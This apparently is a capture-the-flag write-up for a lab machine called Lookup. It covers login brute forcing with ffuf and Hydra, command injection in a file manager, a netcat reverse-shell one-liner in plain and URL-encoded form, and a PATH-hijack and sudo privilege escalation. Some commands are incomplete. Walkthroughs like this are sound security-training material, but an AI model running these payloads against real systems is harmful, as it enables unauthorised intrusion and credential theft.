# Lookup {% embed url="" %} ## Enumeration ### nmap ![](/files/If44qoXN71E23Xb21Xiy) ### Web page We got a login form here, but first let’s capture the request with burpsuite

#### Request and response analysis I’m here to check if existing and non-existing user will have a different outcomes As you can see it’s pretty clear, so now we can maybe do a bruteforce session

### ffuf bruteforce Here we use ffuf to bruteforce, man this tool is just crazy.

```c ffuf -w -X POST -u http://lookup.thm/login.php -d 'username=admin&password=FUZZ' -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -fw 8 ```

Cool, we found a potential password, and let’s try with username admin

That’s weird, I’m thinking if they only check the creds sperately or something so let’s find the user with this password #### Fuzzing users

Oh yeah, it might just be jose ### File manager After logging in we are greeted with a file manager Let’s see what we can get here

in the credentials file I found another potential user and password

After checking out the files let’s see what’s the version it’s using, which is version 2.1.47

### Exploit On exploit.db you can found a exact version and the vulnerability, in this case it’s command injection

Make sure it’s **jpg** file Reverse shell: `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 4444 >/tmp/f` Since it’s web we need to url encode it: `rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%2010.10.10.10%209001%20%3E%2Ftmp%2Ff` ### Reverse shell After all these, we are in let’s see what we can do to escalate our privilege

### Privilege escalation #### SUID Here we found something usual it’s the **pwm** it seems like a created program so let’s run it

The program is executing the `id` command and extract the creds to the `.passwords` file So, if the `id` command is not specified with it’s full path (`/bin/id`), it is found and executed via the PATH variable in our environment We can add tmp dir to the PATH by: `export PATH=/tmp:$PATH`

And we can create a id file in tmp ```bash echo "#!/bin/bash" echo "uid=33(think) gid=33(think) group=33(think)" ``` Now rerun the **pwm** program

And looks like we got it the wordlist type of thing which means we can do another bruteforce session

#### Think About Hydra Great, we now can login as think

#### Look At sudo -l now we can check the sudo list, and **think** can run `look` command, let’s exploit it and get the root’s ssh key! or just take the flag

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